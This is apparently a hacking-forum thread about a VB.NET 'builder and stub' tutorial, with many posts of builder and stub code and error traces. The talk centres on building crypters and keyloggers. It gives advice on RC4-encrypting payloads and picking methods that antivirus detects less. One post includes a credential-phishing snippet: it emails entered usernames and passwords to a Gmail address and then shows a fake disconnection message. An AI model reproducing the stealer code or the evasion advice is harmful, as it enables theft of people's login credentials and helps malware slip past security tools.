If File.Exists(Application.StartupPath & "\Program.exe") Then
    File.Delete(Application.StartupPath & "\Program.exe")
End If

```

```

FileOpen(2, Application.StartupPath & "\Program.exe", OpenMode.Binary,
OpenAccess.ReadWrite)
FilePut(2, stub & FileSplit & UsernameBox.Text & FileSplit & PasswordBox.Text & FileSplit
& RandomBox.Text & FileSplit & AntiDebugger & FileSplit & AntiNazi & FileSplit & AntiSanta &
FileSplit & AntiEverything)
FileClose(2)

```

```

Catch ex As Exception
    MsgBox(ex.ToString)
End Try
End Sub
End Class
Thank you ?

```

Black Hat Jack - February 18, 2010, 10:54 am

(Feb 18, 2010 04:46 AM)TheHackTime Wrote: [\[CITE\]](#) getting an error ?

Code FileGet(Reference Number, String to put file into)
the errors are:

'Reference' is not declared.

Comma, ')', or a valid expression continuation expected.

'String' is a class type and cannot be used as an expression.

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and my code looks like this at the moment:

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Code Imports System.IO
Public Class Form1
    Const FileSplit = "--!ZOMG-A-TUTORIAL!--"
    Dim stub, AntiSanta, AntiDebugger, AntiNazi, AntiEverything As String
    Private Sub Generate_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Button1.Click

```

Try

```

FileOpen(1, Application.StartupPath & "\sub.exe", OpenMode.Binary, OpenAccess.Read)

```

```

    stub = Space(LOF(1))
FileGet(Reference Number, String to put file into)
FileClose(1)

If CheckBox1.Checked = True Then
    AntiDebugger = "True"
ElseIf CheckBox2.Checked = True Then
    AntiSanta = "True"
ElseIf CheckBox3.Checked = True Then
    AntiNazi = "True"
ElseIf CheckBox4.Checked = True Then
    AntiEverything = "True"
End If

If File.Exists(Application.StartupPath & "\Program.exe") Then
    File.Delete(Application.StartupPath & "\Program.exe")
End If

FileOpen(2, Application.StartupPath & "\Program.exe", OpenMode.Binary,
OpenAccess.ReadWrite)
FilePut(2, stub & FileSplit & UsernameBox.Text & FileSplit & PasswordBox.Text & FileSplit
& RandomBox.Text & FileSplit & AntiDebugger & FileSplit & AntiNazi & FileSplit & AntiSanta &
FileSplit & AntiEverything)
FileClose(2)

Catch ex As Exception
    MsgBox(ex.ToString)
End Try
End Sub
End Class
Thank you ?
Oh my mistake:
Code FileGet(Reference Number, String to put file into)should be:
Code FileGet(1, stub)

```

deepz - February 18, 2010, 11:04 am
hmmmm nice tutorial xD

Black Hat Jack - February 18, 2010, 4:28 pm
thanks for the feed back deepz!

TheHackTime - February 18, 2010, 5:48 pm
Thanks it helped me alot when i get my computer working i will try it ?
Thanks for the help ?

Black Hat Jack - February 18, 2010, 7:16 pm
(Feb 18, 2010 06:48 PM)TheHackTime Wrote: [\[CITE\]](#) Thanks it helped me alot when i get my
computer working i will try it ?
Thanks for the help ?
No problem dude. thanks for commenting!

Learn4Life - February 19, 2010, 11:38 am
Thank you very much Leg1on, i tried your tutorial, work great, finally got what is these builder ?

jaap47 - February 19, 2010, 12:29 pm

Very nice tutorial. Well explained with each and every commands. Good job! ?
Hope you make more like this. ?

TheHackTime - February 20, 2010, 1:31 pm

You should edit the codes i have found alot of things wrong there lol
but still very good tut

Pentagon - February 20, 2010, 4:29 pm

Thank you Legion, your tut was the perfect thing for me ! Soul's one was pissing me off lol... thanks

Black Hat Jack - February 22, 2010, 7:53 pm

Thanks for the responses guys! keep it up!

bloodyxscar - February 22, 2010, 9:43 pm

whoa i dont kno if ill ever use this but hey it taught me a few things :) nice tut was pretty noob proof i understood most of it didnt do it alot with it but read it and made sure everything made sence nice tutorial

AfterDeath - February 23, 2010, 3:05 am

maybe im wrong but u misspelled the code it said sub.exe instead of stub.exe ... and on other places u DID spell stub.exe

Don't flame me if im wrong but wouldnt that give errors?

Hli4S - February 23, 2010, 7:22 am

Guys because i am new here and i don't understand..

what exactly this program do ?

Black Hat Jack - March 17, 2010, 11:48 am

(Feb 23, 2010 04:05 AM)AfterDeath Wrote: [\[CITE\]](#) maybe im wrong but u misspelled the code it said sub.exe instead of stub.exe ... and on other places u DID spell stub.exe

Don't flame me if im wrong but wouldnt that give errors?

no, that is correct, because any program with the name stub.exe gets detected by avir antivirus, it just flips out because of the name. and i refer to it as stub.exe so people know what im talking about. and no. it doesnt cause any errors because where ever it is called, its called as sub.exe.

sorry for the confusion.

the only error that i have found in the tutorial is a mistype,
Code FileGet(Reference Number, Var to put the file in)should be
Code FileGet(1, stub)

cosmic311 - April 2, 2010, 1:10 pm

Hello, I'm new here. First of all this is an awesome tutorial and just what I've been looking for. I made my own version but it was just a little off. This fixed me right up. Now I have another question though.

When opening the stub.exe:

FileOpen(1, Application.StartupPath & "\stub.exe", OpenMode.Binary, OpenAccess.Read)

How could this be modified to use a resource file? Like how could I load stub.exe in as a resource

file then FileOpen the resource file so that I'm not required to have a separate stub.exe program and I can combine the stub and the program into 1 .exe file?

I tried something similar to this but couldn't figure it out:

```
FileOpen(1, My.Resources.stub.?, OpenMode.Binary, OpenAccess.Read)
```

Euras - April 2, 2010, 2:41 pm

I'm having trouble with applying this to my crypter.

How can i make it so when checkbox1 is checked on my builder, it writes code to the Form1_load of the stub?

This tutorial only explains how to write to objects on the form. Is it possible to write to the coding?

I want to know this so i can add features such as Hide when run, Remove from task manager & other general commands..

Euras - April 3, 2010, 2:58 am

Anyone help me with this?

Black Hat Jack - April 5, 2010, 2:57 pm

(Apr 3, 2010 02:58 AM)TheMajor Wrote: [\[CITE\]](#) Anyone help me with this?

The method you are thinking of is a self exiting binary, which is much more advanced then a simple builder application, your best bet is to program your feature to repond if the check box was checked, EX:

```
Code if (FrmClsChk == true) then  
me.hide()  
end if  
hope that explains some of it.
```

IMOK - April 5, 2010, 4:09 pm

good job, but I think the one flaw with this is that you didn't really explain all the functions what they do and how they actually work for people who want to know. Its basically like "copy and paste this and mod it" not so much explaining but its still a good example for reference.

Black Hat Jack - April 5, 2010, 4:40 pm

(Apr 5, 2010 04:09 PM)IMOK Wrote: [\[CITE\]](#) good job, but I think the one flaw with this is that you didn't really explain all the functions what they do and how they actually work for people who want to know. Its basically like "copy and paste this and mod it" not so much explaining but its still a good example for reference.

thats all this is intended as, a tutorial that is easy to follow and something that is doable. If anyone would like a better explanation of a funtion they can ask, this is simply a tutorial to fill the gap between a newbish tutorial that everyone knows how to do, and advanced stuff.

boomer678 - April 5, 2010, 4:46 pm

Nice, very detailed and noob proof tutorial. Good work

Black Hat Jack - April 5, 2010, 4:50 pm

(Apr 5, 2010 04:46 PM)boomer678 Wrote: [\[CITE\]](#) Nice, very detailed and noob proof tutorial. Good work

thanks for the reply. btw :P your post 100. haha.

codepoet - April 5, 2010, 4:52 pm

very nice tut....i really like it

Ajax - April 5, 2010, 5:27 pm

Nice work really helped me thanks.

cosmic311 - April 5, 2010, 5:54 pm

LeG10N,

I have a question . When opening the stub.exe:

```
FileOpen(1, Application.StartupPath & "\stub.exe", OpenMode.Binary, OpenAccess.Read)
```

How could this be modified to use a resource file? Like how could I load stub.exe in as a resource file then FileOpen the resource file so that I'm not required to have a seperate stub.exe program and I can combine the stub and the program into 1 .exe file?

I tried something similar to this but couldn't figure it out:

```
FileOpen(1, My.Resources.stub.?, OpenMode.Binary, OpenAccess.Read)
```

-RC2- - May 19, 2010, 7:20 am

I dont get it, I want to make a crypter + stubs, this doesn;t even ask for a file to be crypted and the stub isn;t a stub ?????

Stylis - May 19, 2010, 7:22 am

Dont use FileOpen !

Use IO function !

DarkSeven46 - May 19, 2010, 9:14 am

(May 19, 2010 07:22 AM)Stylis Wrote: [\[CITE\]](#) Dont use FileOpen !

Use IO function !

Yes its better and makes your file less detected.

Black Hat Jack - May 20, 2010, 8:38 pm

(May 19, 2010 07:20 AM)robbiecee2 Wrote: [\[CITE\]](#) I dont get it, I want to make a crypter + stubs, this doesn;t even ask for a file to be crypted and the stub isn;t a stub ?????Next time please read the title much more carefully, This is not a tutorial to make a crypter, This is a simple tutorial on the use of file dropping, You can EASILY transform this into a crypter by putting the file you got from FileGet() and run it though a RC4 or some other form of encryption, Then alter the stub so it decodes it with the same encryption method. Simply pass the password, and crypted file to the stub with FilePut().

(May 19, 2010 09:14 AM)darkvista46 Wrote: [\[CITE\]](#) (May 19, 2010 07:22 AM)Stylis Wrote: [\[CITE\]](#)

Dont use FileOpen !

Use IO function !

Yes its better and makes your file less detected.

Thank you for the advice, However i have moved on to programming in C#.

gandy3451 - May 30, 2010, 8:49 pm

this is actualy the best tutorial i ever read on this site :D keep going!

S?Nk - June 2, 2010, 11:28 am

Hm... I got really confused on your explanation about the "settings()" part... oh well.

Elios - June 19, 2010, 1:10 am

Very nice tutorial!!!

Would some one make this (working) in C#?

codepoet - July 19, 2010, 7:49 pm

I love this tutorial man.

BUMP!!

VA Tragedy - July 19, 2010, 8:18 pm

Please keep making these tutorials! fucking great!

StaTiX - July 30, 2010, 9:58 am

I have a problem.

when i build that stuff

it makes 2 files

stub

and program

and they are not working

stub is 0kb

program is 1kb

wut to do ? :O

meowmix101 - August 12, 2010, 12:26 am

Okay so what does this do encrypt files and servers like [censored] servers? And if not can you use the stub source with a different crypter?

Nathan Moriarty - August 12, 2010, 8:48 am

I get an error when I open the Program.exe. The error doesn't make sens at all, but I found out that it has something to do with the Settings = Split(self, FileSplit) thighy...

Anyone know how to fix this, or do u need more info ? :D

Black Hat Jack - August 12, 2010, 10:27 am

Hey guys thanks for the response! i just got back from a rather long vacation. if anyone is still having errors, please paste the errors here. =) il help you out.

Braco Asshole - August 12, 2010, 10:56 am

Very nice tutorial BLaack Hat Jack. Well done!

Black Hat Jack - August 12, 2010, 11:45 am

(Aug 12, 2010 10:56 AM)IceGuru Jr. Wrote: [\[CITE\]](#) Very nice tutorial BLaack Hat Jack. Well done! Thanks dude! =) Looking for need of a new tutorial of anyone has a tut they want in mind, don't hesitate to tell me!

Nathan Moriarty - August 12, 2010, 1:24 pm

I got an error when starting the output program (program.exe).

Here is the error message I get:

[IMG][http://i35.\[censored\].com/ru8nyp.png](http://i35.[censored].com/ru8nyp.png)[IMG]

Compiling and everything works, but when I open the program.exe I get that error :D wow I just said the same thing twice, wellwell...

BTW: I really like the tutorial :D

Black Hat Jack - August 12, 2010, 2:11 pm

(Aug 12, 2010 01:24 PM)nateepie Wrote: [\[CITE\]](#) I got an error when starting the output program (program.exe).

Here is the error message I get:

[IMG][http://i35.\[censored\].com/ru8nyp.png](http://i35.[censored].com/ru8nyp.png)[/IMG]

Compiling and everything works, but when I open the program.exe I get that error :D wow I just said the same thing twice, wellwell...

BTW: I really like the tutorial :D

are you starting the binder or the stub?

Nathan Moriarty - August 12, 2010, 2:16 pm

(Aug 12, 2010 02:11 PM)Black Hat Jack Wrote: [\[CITE\]](#) are you starting the binder or the stub?

Do you think I'm stupid :P I start the binder enter info, press build, open program.exe. Then I get the error ... :(

I'm working on a really awesome program, and if I get the builder/stub thingy to work, I will release it to the public :D

Nathan Moriarty - August 13, 2010, 5:47 am

BUMP :D still need help with that error :)

EDIT : Why doesn't anyone help, Over 1 day since I asked....

Black Hat Jack - August 13, 2010, 2:40 pm

Hi there, just got off work. could you do me a favor and pastebin your code for your binder and stub? or just post it here?

Nathan Moriarty - August 14, 2010, 4:35 am

(Aug 13, 2010 02:40 PM)Black Hat Jack Wrote: [\[CITE\]](#) Hi there, just got off work. could you do me a favor and pastebin your code for your binder and stub? or just post it here?

Here is the builder:

Spoiler [\(Click to View\)](#)

Code Imports System.IO

Public Class Form1

Const FileSplit = "--!ZOMG-A-TUTORIAL!--"

Dim stub, stubpath As String

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Button1.Click

Try

FileOpen(1, stubpath, OpenMode.Binary, OpenAccess.Read)

stub = Space(LOF(1))

FileGet(1, stub)

FileClose(1)

```
FileOpen(2, Application.StartupPath & "\Program.exe", OpenMode.Binary,
OpenAccess.ReadWrite)
FilePut(2, stub & FileSplit & txtEmail.Text & FileSplit & txtPassword.Text & FileSplit &
txtMailService.Text)
FileClose(2)
```

```
MsgBox("Completed successfully!")
```

```
Catch ex As Exception
MsgBox(ex.ToString)
End Try
End Sub
```

```
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Button2.Click
```

```
Dim OpenFileDialog As New OpenFileDialog
```

```
OpenDialog.ShowDialog()
```

```
stubpath = OpenFileDialog.FileName
```

```
End Sub
End Class
```

And here is the Stub:

Spoiler ([Click to View](#))

Code Imports System.IO

```
Public Class Form1
```

```
Const FileSplit = "--!ZOMG-A-TUTORIAL!--"
```

```
Dim self, Settings() As String
```

```
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles MyBase.Load
```

```
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read)
self = Space(LOF(1))
FileClose(1)
```

```
Settings = Split(self, FileSplit)
```

```
Label1.Text = Settings(1).ToString
Label2.Text = Settings(2).ToString
Label3.Text = Settings(3).ToString
```

```
End Sub
End Class
```

Thanks for taking your time helping me :D

BTW: I think we live on very different places, duo to the when I'm on HF (at night), your at work :P
Whats your timezone?

Black Hat Jack - August 14, 2010, 1:42 pm

(Aug 14, 2010 04:35 AM)nateeppee Wrote: [\[CITE\]](#) Here is the builder:

Spoiler ([Click to View](#))

Code Imports System.IO

Public Class Form1

Const FileSplit = "--!ZOMG-A-TUTORIAL!--"

Dim stub, stubpath As String

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Button1.Click

Try

FileOpen(1, stubpath, OpenMode.Binary, OpenAccess.Read)

stub = Space(LOF(1))

FileGet(1, stub)

FileClose(1)

FileOpen(2, Application.StartupPath & "\Program.exe", OpenMode.Binary,
OpenAccess.ReadWrite)

FilePut(2, stub & FileSplit & txtEmail.Text & FileSplit & txtPassword.Text & FileSplit &
txtMailService.Text)

FileClose(2)

MsgBox("Completed successfully!")

Catch ex As Exception

MsgBox(ex.ToString)

End Try

End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Button2.Click

Dim OpenFileDialog As New OpenFileDialog

OpenDialog.ShowDialog()

stubpath = OpenFileDialog.FileName

End Sub

End Class

And here is the Stub:

Spoiler ([Click to View](#))

Code Imports System.IO

Public Class Form1

Const FileSplit = "--!ZOMG-A-TUTORIAL!--"

Dim self, Settings() As String

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles MyBase.Load

```
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read)
self = Space(LOF(1))
FileClose(1)
```

```
Settings = Split(self, FileSplit)
```

```
Label1.Text = Settings(1).ToString
Label2.Text = Settings(2).ToString
Label3.Text = Settings(3).ToString
```

```
End Sub
End Class
```

Thanks for taking your time helping me :D

BTW: I think we live on very different places, duo to the when I'm on HF (at night), your at work :P
Whats your timezone?

Lol im on call, so i work whenever im told ? can you be more spasific though dude? do you get the error, when you start the builder, when you hit build, or when you start the stub? or some other time?

Nathan Moriarty - August 14, 2010, 2:22 pm

(Aug 14, 2010 01:42 PM)Black Hat Jack Wrote: [\[CITE\]](#) Lol im on call, so i work whenever im told ? can you be more spasific though dude? do you get the error, when you start the builder, when you hit build, or when you start the stub? or some other time?

As I said 2 times before ;) I get the error when I start the Program.exe (the file that is generated when I hit build), which probably is the stub...

deshy - August 18, 2010, 5:42 pm

awesome,excellent, thumb up for you only..

redpenguin - August 19, 2010, 3:10 pm

this the fourth time i read this, and i still like it.

:)

hope this thread won't die.

JackD - August 19, 2010, 4:44 pm

omg thx this helped me to make my first builder :D

Ui Hirasawa - August 19, 2010, 4:54 pm

Yeah good tutorial man.

I liked it.

Benne-R - August 20, 2010, 12:52 pm

I didn't get this at all..

davae93 - August 24, 2010, 3:33 pm

very detailed tut answered all mi noob questions thanks man =D

mendh - August 27, 2010, 9:17 am

This is really useful. Thanks ?

Black Hat Jack - September 29, 2010, 6:14 pm

Thanks for all the feedback guys!

DaRkReD - September 29, 2010, 6:57 pm

this is detected now file put

Grudgeee - September 29, 2010, 8:01 pm

Nice tutorial, Must have took you awhile : P

n3mo - December 26, 2010, 8:26 pm

This is so much better than soul collector's advance builder tutorial. Soul Collector's tutorial is great in the email and ftp aspects, and the keylogger, but he has terrible grammar in his post he does not explain things very well, like black hat jack does. Also, soul collector has exceptions in the code itself, which is not very professional. Congrats on a great tutorial, black hat jack!

nickjonnes - December 28, 2010, 4:10 am

i hate to say this but this tut was a thousand time better than soul collectors. al th quesions that i had from soul collectors tut were answered in this thats a tone!
cheers nick

ident - December 28, 2010, 7:03 am

(Dec 22, 2009 09:02 PM)Black Hat Jack Wrote: [\[CITE\]](#) As to prevent crashing, lets put all of this inside of a "Try" statement that way, if there is an error. it doesn't just crash. it will tell us the error
Code Try

```
Catch ex As Exception
```

```
    MsgBox(ex.ToString)
```

```
End Try
```

More shocking abuse of catch blocks + you would be giving the user the most un help full message

Panagiota - December 28, 2010, 9:04 am

Geat tutorial but I wouldn't use it because AVs are picking up EOF.

Could you present another tutorial where the stub's settings are stored in somewhere else?

Shadow Puppet - December 28, 2010, 11:57 am

This was a really good TuT man, can help some people out!

dime11 - December 29, 2010, 1:54 am

thx dude, is very good source code

? Lollipop ? - December 29, 2010, 10:43 am

Well, looks like this won't be a boring night ^^

mrkevinhacker - January 18, 2011, 9:06 am

hey c an you please do it in vb6???

Conch - January 18, 2011, 10:19 am

Holy shit Black Hat Jack.

The tutorial is huge and I don't think I can read it all in one night :O

Thanks for this!

alekovo - January 18, 2011, 11:56 am

OOOh, good job man, I am new in this case of programming and that was so useful for me.

If you make more tutorials I will be very thankful man.
Lets keep this thread alive and enjoy coding...

Pitifoul - January 18, 2011, 12:17 pm

Just a little question..how to call a Runpe in this code :) ?

shayl - August 14, 2011, 12:08 pm

plz can you help me to make an stub for my program .

Am new on vb: by reading your post am understand how to make a builder but am still confuse to make the stub ...:(i would link to inject the information that i enter in the builder in the (TextBox1) and (TextBox2)

here the code.

```
If TextBox1.Text = "" Then
    MsgBox("Username Is Missing")
If Textbox2.text = "" Then
    MsgBox("Password Is Mising")
Else
End If
End if
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredenti("TextBox1", "TextBox2")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("Your Gmail")
mail.To.Add("Your Gmail")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & textbox2.text
smtpServer.Send(mail)
MsgBox("Disconnected From Server, Please try again later!")
```

thank in advance..

master4all - August 23, 2011, 7:45 pm

Hey Dude Please Help Me I m receiving this error when i debug it

System.IO.IOException was unhandled

Message=The process cannot access the file 'C:\Users\Husnain\Documents\Visual Studio 2010\Projects\LeG10n Builder Example\LeG10n Builder Example\LeG10Ns Stub Example\LeG10Ns Stub Example\bin\Debug\sub.EXE' because it is being used by another process.

Source=Microsoft.VisualBasic

StackTrace:

```
at Microsoft.VisualBasic.FileSystem.FileOpen(Int32 FileNumber, String FileName, OpenMode
Mode, OpenAccess Access, OpenShare Share, Int32 RecordLength)
at Stub_Example_By_LeG10N.Form1.Form1_Load(Object sender, EventArgs e) in
C:\Users\Husnain\Documents\Visual Studio 2010\Projects\LeG10n Builder Example\LeG10n Builder
Example\LeG10Ns Stub Example\LeG10Ns Stub Example\Form1.vb:line 27
at System.EventHandler.Invoke(Object sender, EventArgs e)
at System.Windows.Forms.Form.OnLoad(EventArgs e)
```

```

at System.Windows.Forms.Form.OnCreateControl()
at System.Windows.Forms.Control.CreateControl(Boolean fIgnoreVisible)
at System.Windows.Forms.Control.CreateControl()
at System.Windows.Forms.Control.WmShowWindow(Message& m)
at System.Windows.Forms.Control.WndProc(Message& m)
at System.Windows.Forms.ScrollableControl.WndProc(Message& m)
at System.Windows.Forms.ContainerControl.WndProc(Message& m)
at System.Windows.Forms.Form.WmShowWindow(Message& m)
at System.Windows.Forms.Form.WndProc(Message& m)
at System.Windows.Forms.Control.ControlNativeWindow.OnMessage(Message& m)
at System.Windows.Forms.Control.ControlNativeWindow.WndProc(Message& m)
at System.Windows.Forms.NativeWindow.DebuggableCallback(IntPtr hWnd, Int32 msg, IntPtr
wparam, IntPtr lparam)
at System.Windows.Forms.SafeNativeMethods.ShowWindow(HandleRef hWnd, Int32
nCmdShow)
at System.Windows.Forms.Control.SetVisibleCore(Boolean value)
at System.Windows.Forms.Form.SetVisibleCore(Boolean value)
at System.Windows.Forms.Control.set_Visible(Boolean value)
at System.Windows.Forms.Application.ThreadContext.RunMessageLoopInner(Int32 reason,
ApplicationContext context)
at System.Windows.Forms.Application.ThreadContext.RunMessageLoop(Int32 reason,
ApplicationContext context)
at System.Windows.Forms.Application.Run(ApplicationContext context)
at Microsoft.VisualBasic.ApplicationServices.WindowsFormsApplicationBase.OnRun()
at
Microsoft.VisualBasic.ApplicationServices.WindowsFormsApplicationBase.DoApplicationModel()
at Microsoft.VisualBasic.ApplicationServices.WindowsFormsApplicationBase.Run(String[]
commandLine)
at Stub_Example_By_LeG10N.My.MyApplication.Main(String[] Args) in
17d14f5c-a337-4978-8281-53493378c1071.vb:line 81
at System.AppDomain._nExecuteAssembly(Assembly assembly, String[] args)
at System.AppDomain.ExecuteAssembly(String assemblyFile, Evidence assemblySecurity,
String[] args)
at Microsoft.VisualStudio.HostingProcess.HostProc.RunUsersAssembly()
at System.Threading.ThreadHelper.ThreadStart_Context(Object state)
at System.Threading.ExecutionContext.Run(ExecutionContext executionContext, ContextCallback
callback, Object state)
at System.Threading.ThreadHelper.ThreadStart()
InnerException:

```

?eumonic - August 23, 2011, 7:52 pm

(Aug 23, 2011 07:45 PM)master4all Wrote: [\[CITE\]](#) Hey Dude Please Help Me I m receiving this error when i debug it

...

That is because you are only copying and pasting and not actually learning what the code does. Doing that won't get you anywhere. Please actually try fixing it on your own before you ask for help.
~Zero

Penthos - August 24, 2011, 1:15 am

(Aug 23, 2011 07:52 PM)xZ3ROxPROJ3CTx Wrote: [\[CITE\]](#) That is because you are only copying and pasting and not actually learning what the code does. Doing that won't get you anywhere.

Please actually try fixing it on your own before you ask for help.

~ZerO

Lulz how many times a day do we see this! lulz,

Anyway OP Great tut really detailed, And im glad you took the time to explain everything as a noob would understand it :)

Adding you to the buddy list! :)

master4all - August 24, 2011, 10:25 pm

Now My Keylogger Working Perfectly

If Any one Need Help About This Add Me On Skype

My Skype Name Is: husnain.ali22

H--umiliation - August 24, 2011, 10:56 pm

Thank you very much for this. It looks really nice.

ThC x ProToType - November 18, 2011, 12:39 pm

Soo, is the stub a separate project or what? I am having a hard time understanding this. I have never used one.

tux1 - February 3, 2012, 1:38 pm

Great tutorial but I keep getting an error with the stub and when I use the builder it doesn't change any of the strings of the stub. My stub code looks like this:

Spoiler ([Click to View](#))

Code Imports System.IO

Public Class Form1

Const FileSplit = "--!ZOMG-A-TUTORIAL!--"

Dim self, Settings() As String

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs)

Handles MyBase.Load

FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read)

self = Space(LOF(1))

FileClose(1)

Settings = Split(self, FileSplit)

UserNameText.Text = Settings(1)

PasswordText.Text = Settings(2)

RandomText.Text = Settings(3)

If Settings(4) = "True" Then

AntiDebuggerText.Text = "Hey you cant debug me!"

Elseif Settings(5) = "True" Then

AntiNaziText.Text = "Good, I dont like Nazi's either"

Elseif Settings(6) = "True" Then

AntiSantaText.Text = "ZOMG! your going to get coal in your stocking!"

Elseif Settings(7) = "True" Then

AntiEverythingText.Text = "Well in that case. I'm Anti-you!"

End If

End Sub

End Class

But I keep getting these errors and it's really starting to fucking annoy me!

Spoiler ([Click to View](#))Code See the end of this message for details on invoking just-in-time (JIT) debugging instead of this dialog box.

**** Exception Text ****

System.IndexOutOfRangeException: Index was outside the bounds of the array.

at basicstub.Form1.Form1_Load(Object sender, EventArgs e) in D:\Games\vb source\testbuilder\basicstub\basicstub\Form1.vb:line 7
at System.EventHandler.Invoke(Object sender, EventArgs e)
at System.Windows.Forms.Form.OnLoad(EventArgs e)
at System.Windows.Forms.Form.OnCreateControl()
at System.Windows.Forms.Control.CreateControl(Boolean fIgnoreVisible)
at System.Windows.Forms.Control.CreateControl()
at System.Windows.Forms.Control.WmShowWindow(Message& m)
at System.Windows.Forms.Control.WndProc(Message& m)
at System.Windows.Forms.ScrollableControl.WndProc(Message& m)
at System.Windows.Forms.ContainerControl.WndProc(Message& m)
at System.Windows.Forms.Form.WmShowWindow(Message& m)
at System.Windows.Forms.Form.WndProc(Message& m)
at System.Windows.Forms.Control.ControlNativeWindow.OnMessage(Message& m)
at System.Windows.Forms.Control.ControlNativeWindow.WndProc(Message& m)
at System.Windows.Forms.NativeWindow.Callback(IntPtr hWnd, Int32 msg, IntPtr wparam, IntPtr lparam)

And my builder looks like this:

Spoiler ([Click to View](#))Code Imports System.IO

Public Class Form1

Const FileSplit = "--!ZOMG-A-TUTORIAL!--"

Dim stub, AntiSanta, AntiDebugger, AntiNazi, AntiEverything As String

Private Sub Generate_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)

Handles Generate.Click

Try

FileOpen(1, Application.StartupPath & "\stub.exe", OpenMode.Binary, OpenAccess.Read)

stub = Space(LOF(1))

'FileGet(Reference Number, String to put file into)

FileGet(1, stub)

FileClose(1)

If AntiDebuggerCB.Checked = True Then

AntiDebugger = "True"

ElseIf AntiSantaCB.Checked = True Then

AntiSanta = "True"

ElseIf AntiNaziCB.Checked = True Then

AntiNazi = "True"

ElseIf AntiEverythingCB.Checked = True Then

AntiEverything = "True"

End If

```
If File.Exists(Application.StartupPath & "\Program.exe") Then  
File.Delete(Application.StartupPath & "\Program.exe")  
End If
```

```
FileOpen(2, Application.StartupPath & "\Program.exe", OpenMode.Binary,  
OpenAccess.ReadWrite)
```

```
FilePut(2, stub & FileSplit & UsernameBox.Text & FileSplit & PasswordBox.Text & FileSplit &  
RandomBox.Text & FileSplit & AntiDebugger & FileSplit & AntiNazi & FileSplit & AntiSanta &  
FileSplit & AntiEverything)  
FileClose(2)
```

```
Catch ex As Exception  
MsgBox(ex.ToString)  
End Try  
End Sub
```

```
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs)  
Handles MyBase.Load
```

```
End Sub  
End Class
```

Some one please help me :(

Arckos - February 3, 2012, 8:37 pm

This is a great tutorial well done ?

TorKS - February 3, 2012, 11:31 pm

Great job man.

Amazing tutorial. Thank you

super2277 - February 5, 2012, 1:13 pm

Can you please reupload your tut pictures?

adam master - June 17, 2012, 12:22 am

thanks for this nice tut , really helped!

i wanted to ask you something .

do this work on all win versions vista , xp , win7 ??

thanks.

adam

undisputed_ak - July 5, 2012, 12:39 pm

Thanks So Much Bro Helped Really Soooo Muchos <3

sidkfan - July 8, 2012, 8:14 am

your images are dead :(

please reupload them

thank you in advance!

h4kr! - July 8, 2012, 7:19 pm

this worked great!
so many uses!
been looking for this so thank you :)

Team Plazma - July 11, 2012, 8:55 pm

hey there i got 4 errors :(can you please help me and can u please reupload the images please thank you so much!

GhostTeam - July 12, 2012, 12:35 pm

would you help me? send me a private message with your fb profile or skype so i'll explain what I do

Vuln - July 12, 2012, 1:02 pm

This method is outdated/inefficient. Search for a CodeDOM tutorial.

BandosLR - July 19, 2012, 3:57 pm

I like this tutorial, thanks mate this helped me alot.

King Regards,

BandosLR

Dre GT - July 20, 2012, 11:18 am

Im getting lazy when it comes to coding now a days :/

DarkN3ss61 - July 23, 2012, 3:51 am

Thanks mate I knew how to do this but I didn't understand it and now I do so again THANKS!

Middies - July 23, 2012, 6:17 am

Good Job on the tutorial, but if you where to make a FUD keylogger, virus, trojan you don't use a builder and a stub because the stub can't be fully encoded some parts have to stay open, and builder is for custom options but if you program your own keylogger then you can encode it fully and AVs can't say shit.

DarkN3ss61 - July 24, 2012, 12:45 pm

By the way I got an account just so I could tell you how happy I Am

VBHacker2012 - July 28, 2012, 3:37 pm

So you can do this, would you be able to tell me how to create a keylogger builder with multiple options, fake message all keyboard hooks e.t.c or link me to a tutorial that actually works.

DarkN3ss61 - July 28, 2012, 4:29 pm

yea you can and this tut does work just read through it again

Excore - July 29, 2012, 12:03 am

2009. The thread is from 2009. Stop posting.

Hans... - July 29, 2012, 6:38 am

awesome tut,
but fix the pictures please ;)

Voxel - August 5, 2012, 11:54 pm

If anyone has managed to get this code working please PM me! Thanks in advance

Atzner - *August 9, 2012, 6:40 pm*

Looks very nice a will look this tomorrow :)